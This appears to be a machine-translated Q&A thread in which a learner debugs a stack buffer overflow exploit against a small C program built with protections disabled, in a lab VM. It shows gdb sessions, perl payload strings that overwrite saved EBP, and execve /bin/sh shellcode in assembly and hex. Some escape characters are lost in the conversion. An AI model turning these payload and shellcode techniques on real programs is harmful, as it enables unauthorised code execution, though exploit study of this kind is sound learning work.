我想控制EBP和ESP,最后,当程序做ret时,EIP将处理到一个shellcode,但我有一个问题。程序是:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int limit,c;
int getebp()
{
__asm__("movl %ebp, %eax");
}
int proc(char *nombre)
{
int *i;
char buffer[256];
i = (int *) getebp();
limit = *i - (int)buffer + 4;
for (c = 0; c < limit && nombre[c] != ' '; c++)
buffer[c] = nombre[c];
printf("nEncantado de conocerte: %sn", buffer);
return 0;
}
int main(int argc, char **argv[])
{
if (argc < 2) {
printf("nUso: %s <nombre>n", argv[0]);
exit(0);
}
proc(argv[1]);
return 0;
}
程序的代码汇编如下:
(gdb) disass proc
Dump of assembler code for function proc:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x128
0x08048414 <+9>: call 0x8048404 <getebp>
0x08048419 <+14>: mov DWORD PTR [ebp-0xc],eax
0x0804841c <+17>: mov eax,DWORD PTR [ebp-0xc]
0x0804841f <+20>: mov edx,DWORD PTR [eax]
0x08048421 <+22>: lea eax,[ebp-0x10c]
0x08048427 <+28>: mov ecx,edx
0x08048429 <+30>: sub ecx,eax
0x0804842b <+32>: mov eax,ecx
0x0804842d <+34>: add eax,0x4
0x08048430 <+37>: mov ds:0x8049828,eax
0x08048435 <+42>: mov DWORD PTR ds:0x804982c,0x0
0x0804843f <+52>: jmp 0x8048466 <proc+91>
0x08048441 <+54>: mov eax,ds:0x804982c
0x08048446 <+59>: mov edx,DWORD PTR ds:0x804982c
0x0804844c <+65>: add edx,DWORD PTR [ebp+0x8]
0x0804844f <+68>: movzx edx,BYTE PTR [edx]
0x08048452 <+71>: mov BYTE PTR [ebp+eax*1-0x10c],dl
0x08048459 <+78>: mov eax,ds:0x804982c
0x0804845e <+83>: add eax,0x1
0x08048461 <+86>: mov ds:0x804982c,eax
0x08048466 <+91>: mov edx,DWORD PTR ds:0x804982c
0x0804846c <+97>: mov eax,ds:0x8049828
0x08048471 <+102>: cmp edx,eax
0x08048473 <+104>: jge 0x8048484 <proc+121>
0x08048475 <+106>: mov eax,ds:0x804982c
0x0804847a <+111>: add eax,DWORD PTR [ebp+0x8]
0x0804847d <+114>: movzx eax,BYTE PTR [eax]
0x08048480 <+117>: test al,al
0x08048482 <+119>: jne 0x8048441 <proc+54>
0x08048484 <+121>: mov eax,0x80485c0
0x08048489 <+126>: lea edx,[ebp-0x10c]
0x0804848f <+132>: mov DWORD PTR [esp+0x4],edx
0x08048493 <+136>: mov DWORD PTR [esp],eax
0x08048496 <+139>: call 0x8048300 <printf@plt>
0x0804849b <+144>: mov eax,0x0
0x080484a0 <+149>: leave
0x080484a1 <+150>: ret
End of assembler dump.
和main:
的代码集(gdb) disass main
Dump of assembler code for function main:
0x080484a2 <+0>: push ebp
0x080484a3 <+1>: mov ebp,esp
0x080484a5 <+3>: and esp,0xfffffff0
0x080484a8 <+6>: sub esp,0x10
0x080484ab <+9>: cmp DWORD PTR [ebp+0x8],0x1
0x080484af <+13>: jg 0x80484d3 <main+49>
0x080484b1 <+15>: mov eax,DWORD PTR [ebp+0xc]
0x080484b4 <+18>: mov edx,DWORD PTR [eax]
0x080484b6 <+20>: mov eax,0x80485dd
0x080484bb <+25>: mov DWORD PTR [esp+0x4],edx
0x080484bf <+29>: mov DWORD PTR [esp],eax
0x080484c2 <+32>: call 0x8048300 <printf@plt>
0x080484c7 <+37>: mov DWORD PTR [esp],0x0
0x080484ce <+44>: call 0x8048320 <exit@plt>
0x080484d3 <+49>: mov eax,DWORD PTR [ebp+0xc]
0x080484d6 <+52>: add eax,0x4
0x080484d9 <+55>: mov eax,DWORD PTR [eax]
0x080484db <+57>: mov DWORD PTR [esp],eax
0x080484de <+60>: call 0x804840b <proc>
0x080484e3 <+65>: mov eax,0x0
0x080484e8 <+70>: leave
0x080484e9 <+71>: ret
End of assembler dump.
好的,我知道用272 ae覆盖EBP,所以:
vagrant@precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *proc+149
Breakpoint 1 at 0x80484a0
(gdb) r `perl -e 'print "A" x272 '`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "A" x272 '`
Encantado de conocerte: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
Breakpoint 1, 0x080484a0 in proc ()
(gdb) x/16x $esp
0xbffff4c0: 0x080485c0 **0xbffff4dc** 0xb7fdc470 0x00000003
0xbffff4d0: 0xbffff500 0x07b1ea71 0xf63d4e2e 0x41414141
0xbffff4e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4f0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) q
我知道缓冲区的初始化方向是0xbffff4dc,所以:
vagrant@precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *main+70
Breakpoint 1 at 0x80484e8
(gdb) r `perl -e 'print "A"x268 . "xd8xf4xffxbf"'`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "A"x268 . "xd8xf4xffxbf"'`
Encantado de conocerte: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒
Breakpoint 1, 0x080484e8 in main ()
(gdb) i r ebp
ebp 0xbffff4d8 0xbffff4d8
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp 0xbffff4dc 0xbffff4dc
(gdb) x/x $esp
0xbffff4dc: 0x41414141
好,听起来不错,我必须采取ESP的控制。现在我想把shellcode 4字节进一步移动。所以:
vagrant@precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *proc+150
Breakpoint 1 at 0x80484a1
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) r `perl -e 'print "xe0xf4xffxbf"'``cat /tmp/sc``perl -e 'print "A"x220 . "xd8xf4xffxbf"'`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "xe0xf4xffxbf"'``cat /tmp/sc``perl -e 'print "A"x220 . "xd8xf4xffxbf"'`
Encantado de conocerte: ▒▒▒▒▒^▒1▒F▒F
▒
▒▒▒V
▒1ۉ▒@̀▒▒▒▒▒/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒
Breakpoint 1, 0x080484a1 in proc ()
(gdb) i r ebp
ebp 0xbffff4d8 0xbffff4d8
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp 0xbffff4dc 0xbffff4dc
(gdb) x/x $esp
0xbffff4dc: 0xbffff4e0
(gdb) x/16x $esp
0xbffff4dc: 0xbffff4e0 0x895e1feb 0xc0310876 0x89074688
0xbffff4ec: 0x0bb00c46 0x4e8df389 0x0c568d08 0x89db3180
0xbffff4fc: 0x80cd40d8 0xffffdce8 0x69622fff 0x68732f6e
0xbffff50c: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) q
! ! WTF ! !为什么?现在有ESP地址到0xbffff4e0 ??程序被编译成这样:
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack $1 -o $2
我已经重新做了我的shellcode, (/tmp/binsh):
猫binsh.asm
section .text
global _start
_start:
xor eax, eax
push eax
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80
objdump:
objdump -d binsh
binsh: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 50 push %eax
8048070: 53 push %ebx
8048071: 89 e1 mov %esp,%ecx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
基本上我做到了,
echo /bin > bin
echo //sh > sh
and then, I got their hexdump values: 6e69622f and 68732f2f
Works fine:
```vagrant@precise32:/tmp$ ./binsh
$
当我继续时,程序应该收到一个shellcode,但是收到一个SIGILL…
似乎从/tmp/sc
加载的代码是错误的。您应该通过从0xbffff4e0(例如x/20i 0xbffff4e0
)进行反汇编来查看问题所在。
最近,我用这个命令构建了我的shellcode:
echo `perl -e 'print "x31xc0x50x68x2fx2fx76x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80/bin/sh";'` > binsh5
所以,我想知道发生了什么。当我执行完整指令时:
r `perl -e 'print "xe0xf4xffxbf"'``cat /tmp/binsh5``perl -e 'print "A"x234 . "xd8xf4xffxbf"'`
我同时控制ESP和EBP:
(gdb) i r ebp
ebp 0xbffff4d8 0xbffff4d8
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp 0xbffff4dc 0xbffff4dc
(gdb) x/x $esp
0xbffff4dc: 0xbffff4e0
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff4f8 in ?? ()
然而,我得到一个SIGSEGV。如果我看到这个地址:
(gdb) x/20i 0xbffff4f8
=> 0xbffff4f8: bound ebp,QWORD PTR [ecx+0x6e]
0xbffff4fb: das
0xbffff4fc: jae 0xbffff566
0xbffff4fe: inc ecx
0xbffff4ff: inc ecx
0xbffff500: inc ecx
0xbffff501: inc ecx
0xbffff502: inc ecx
0xbffff503: inc ecx
0xbffff504: inc ecx
0xbffff505: inc ecx
0xbffff506: inc ecx
0xbffff507: inc ecx
0xbffff508: inc ecx
0xbffff509: inc ecx
0xbffff50a: inc ecx
0xbffff50b: inc ecx
0xbffff50c: inc ecx
0xbffff50d: inc ecx
0xbffff50e: inc ecx
我想知道问题所在:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e **push $0x6e69622f**
804806d: 89 e3 mov %esp,%ebx
804806f: 50 push %eax
8048070: 53 push %ebx
8048071: 89 e1 mov %esp,%ecx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
我认为粗体字的指令没有完全执行。shellcode似乎像这样将堆栈压入:
2F das
62 69 6E bound ebp,QWORD PTR [ecx+0x6e]
我想我已经找到问题了,但是现在我不知道如何解决。
你说得对。/tmp/sc
未执行代码。我已经重新做了我的shellcode,我知道它是好的,如果我输入:/tmp/binsc
我得到shellcode。但是现在,程序什么也不做最后我必须按Ctrl+ c。
(gdb) b *proc+150
Breakpoint 1 at 0x80484a1
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) r `perl -e 'print "xe0xf4xffxbf"'``cat /tmp/binsh``perl -e 'print "A"x204 . "xd8xf4xffxbf"'`
^C
During startup program terminated with signal SIGINT, Interrupt.
(gdb)